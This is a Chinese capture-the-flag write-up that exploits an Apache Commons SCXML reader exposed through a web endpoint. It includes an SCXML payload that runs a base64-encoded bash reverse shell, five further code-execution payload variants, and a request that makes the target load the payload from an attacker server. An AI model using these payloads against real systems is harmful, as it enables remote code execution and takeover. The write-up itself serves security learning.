题目链接

源码分析

下载附件后得到BabyJxVx.jar 反编译后查看代码逻辑

com.example.babyjxvx.FlagController中有

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
@RequestMapping({"/Flag"})
@ResponseBody
public String Flag(@RequestParam(required = true) String filename) {
SCXMLExecutor executor = new SCXMLExecutor();
try {
if (check(filename).booleanValue()) {
SCXML scxml = SCXMLReader.read(filename);
executor.setStateMachine(scxml);
executor.go();
return "Revenge to me!";
}
System.out.println("nonono");
return "revenge?";
} catch (Exception var5) {
System.out.println(var5);
return "revenge?";
}
}

即在/Flag路由下接收参数filename并用SCXMLReader读取文件

EXP构造

1
2
3
4
5
6
7
8
<?xml version="1.0"?>
<scxml xmlns="http://www.w3.org/2005/07/scxml" version="1.0" initial="run">
<final id="run">
<onexit>
<assign location="flag" expr="''.getClass().forName('java.lang.Runtime').getRuntime().exec('bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC9pcC9wb3J0IDA+JjE=}|{base64,-d}|{bash,-i}')"/>
</onexit>
</final>
</scxml>
  • <scxml xmlns="http://www.w3.org/2005/07/scxml" version="1.0" initial="run">:定义了一个 SCXML 状态机,其中 xmlns属性指定了命名空间,version属性指定了版本,initial 属性指定了初始状态为 run
  • <final id="run">:定义了一个状态,它是最终状态,它的 id 属性为 run
  • <onexit>:定义了一个事件,在退出状态时触发
  • <assign........> : location 属性指定了要赋值的变量名称,expr 属性指定了要赋给变量的值。
  • YmFzaCAtaSA+JiAvZGV2L3RjcC81aTc4MTk2M3AyLnlpY3AuZnVuLzU4MjY1IDA+JjE= base64解码后为 bash -i >& /dev/tcp/ip/port 0>&1即reverse shell

类似payload

1
2
3
4
5
6
7
8
9
10
<?xml version="1.0"?> 
<scxml xmlns="http://www.w3.org/2005/07/scxml" version="1.0" initial="run">
<state id="run">
<onentry>
<script>
''.getClass().forName('java.lang.Runtime').getRuntime().exec('calc')
</script>
</onentry>
</state>
</scxml>
1
2
3
4
5
6
7
8
<?xml version="1.0"?>
<scxml xmlns="http://www.w3.org/2005/07/scxml" version="1.0" initial="run">
<state id="run">
<onentry>
<if cond="''.getClass().forName('java.lang.Runtime').getRuntime().exec('calc')"></if>
</onentry>
</state>
</scxml>
1
2
3
4
5
6
<?xml version="1.0"?>
<scxml xmlns="http://www.w3.org/2005/07/scxml" version="1.0" initial="run">
<datamodel>
<data id="flag" expr="''.class.forName('java.lang.Runtime').getRuntime().exec('calc')"></data>
</datamodel>
</scxml>
1
2
3
4
5
6
7
8
<?xml version="1.0"?>
<scxml xmlns="http://www.w3.org/2005/07/scxml" version="1.0" initial="run">
<parallel>
<invoke src="test" content="test" id="flag">
<param name="flag" expr="''.class.forName('java.lang.Runtime').getRuntime().exec('calc')"></param>
</invoke>
</parallel>
</scxml>
1
2
3
4
5
6
7
8
<?xml version="1.0"?>
<scxml xmlns="http://www.w3.org/2005/07/scxml" version="1.0" initial="run">
<state>
<history src="test" content="test" id="flag">
<transition name="flag" cond="''.class.forName('java.lang.Runtime').getRuntime().exec('calc')"></transition>
</history>
</state>
</scxml>

执行

将payload.xml 放置在vps上 并开启端口监听

1
2
'http://node4.anna.nssctf.cn:28742/Flag?filename=http://xx.xx.xx.xx/pld.xml'
// 回显Revenge to me! 因为RCE执行结果不会回显 所以用reverse shell

成功获取shell后cat /f*

⬆︎TOP